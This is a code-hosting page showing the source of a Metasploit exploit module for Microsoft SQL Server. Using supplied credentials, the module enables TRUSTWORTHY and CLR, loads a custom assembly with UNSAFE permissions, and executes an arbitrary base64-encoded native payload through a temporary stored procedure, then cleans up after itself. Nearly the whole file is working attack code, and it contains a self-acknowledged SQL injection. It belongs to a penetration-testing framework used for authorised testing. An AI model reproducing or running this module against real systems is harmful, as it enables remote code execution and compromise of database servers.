Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/mssql_clr_payload.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})11super(update_info(info,12'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',13'Description' => %q{14This module executes an arbitrary native payload on a Microsoft SQL15server by loading a custom SQL CLR Assembly into the target SQL16installation, and calling it directly with a base64-encoded payload.1718The module requires working credentials in order to connect directly to the19MSSQL Server.2021This method requires the user to have sufficient privileges to install a custom22SQL CRL DLL, and invoke the custom stored procedure that comes with it.2324This exploit does not leave any binaries on disk.2526Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).27},28'Author' =>29[30'Lee Christensen', # original idea/research31'Nathan Kirk', # extra research/blog post32'OJ Reeves' # Metasploit module33],34'License' => MSF_LICENSE,35'References' =>36[37['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']38],39'Platform' => 'win',40'Arch' => [ARCH_X86, ARCH_X64],41'Targets' => [['Automatic', {}]],42'DefaultTarget' => 0,43'DisclosureDate' => '1999-01-01'44))4546register_options(47[48OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])49])50end5152def check53unless mssql_login_datastore(datastore['DATABASE'])54vprint_status('Invalid SQL Server credentials')55return Exploit::CheckCode::Detected56end5758version = get_sql_version_string5960unless version =~ /Server 20(05|08|12|14|16)/61vprint_status('Unsupported version of SQL Server')62return Exploit::CheckCode::Safe63end6465if mssql_is_sysadmin66vprint_good "User #{datastore['USERNAME']} is a sysadmin"67Exploit::CheckCode::Vulnerable68else69Exploit::CheckCode::Safe70end71ensure72disconnect73end7475def get_sql_version_string76mssql_query("select @@version", false)[:rows].first[0]77end7879def get_sql_architecture(sql_version_string)80if sql_version_string =~ /(64-bit|x64)/i81ARCH_X6482else83ARCH_X8684end85end8687def get_exploit_version(sql_version_string)88# keeping it simple at this point.89if sql_version_string =~ /Server (2005|2008|2012)/90'v3.5'91else92# assume 2014/2016 at this point.93'v4.0'94end95end9697def set_trustworthy(on)98result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)99unless result[:errors].empty?100result[:errors].each do |err|101vprint_error(err)102end103fail_with(Failure::Unknown, "Failed to change Trustworthy setting")104end105end106107def is_trustworthy108# SQLi in MSF!! OMG!109result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)110result[:rows][0] == 'ON'111end112113def enable_clr(enable)114query = %Q^115EXEC sp_configure 'show advanced options', 1;116RECONFIGURE;117EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};118RECONFIGURE;119^120result = mssql_query(query, false)121unless result[:errors].empty?122result[:errors].each do |err|123vprint_error(err)124end125fail_with(Failure::Unknown, "Failed to change CLR setting")126end127end128129def is_clr_enabled130result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)131result[:rows][0] == 'ON'132end133134def exploit135unless mssql_login_datastore(datastore['DATABASE'])136fail_with(Failure::BadConfig, 'Unable to login with the given credentials')137end138139unless mssql_is_sysadmin140fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')141end142143# This module will only support 'thread' for EXITFUNC144# Bad things happen to SQL otherwise!145unless datastore['EXITFUNC'] == 'thread'146print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")147datastore['EXITFUNC'] = 'thread'148end149150sql_version = get_sql_version_string151vprint_status("Target SQL Version is:\n#{sql_version}")152153sql_arch = get_sql_architecture(sql_version)154unless payload.arch.first == sql_arch155fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")156end157158trustworthy = is_trustworthy159clr_enabled = is_clr_enabled160161unless trustworthy162print_status('Database does not have TRUSTWORTHY setting on, enabling ...')163set_trustworthy(true)164end165166unless clr_enabled167print_status('Database does not have CLR support enabled, enabling ...')168enable_clr(true)169end170171exploit_version = get_exploit_version(sql_version)172print_status("Using version #{exploit_version} of the Payload Assembly")173exploit_file_path = ::File.join(Msf::Config.install_root, 'data',174'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')175vprint_status("Using #{exploit_file_path}")176177assembly = ::File.read(exploit_file_path)178179# Convert the assembly to the required format for execution of the stored180# procedure to create the custom stored proc181hex_assembly = "0x#{assembly.unpack('H*')[0]}"182asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)183query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"184185print_status('Adding custom payload assembly ...')186mssql_query(query, false)187188proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)189param_name = Rex::Text.rand_text_alpha(rand(4) + 8)190query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"191192print_status('Exposing payload execution stored procedure ...')193mssql_query(query, false)194195# Generate the base64 encoded payload196b64payload = Rex::Text.encode_base64(payload.encoded)197query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"198print_status('Executing the payload ...')199mssql_query(query, false)200201print_status('Removing stored procedure ...')202mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)203204print_status('Removing assembly ...')205mssql_query("DROP ASSEMBLY [#{asm_name}]", false)206207unless clr_enabled208print_status('Restoring CLR setting ...')209enable_clr(false)210end211212unless trustworthy213print_status('Restoring Trustworthy setting ...')214set_trustworthy(false)215end216217ensure218disconnect219end220end221222223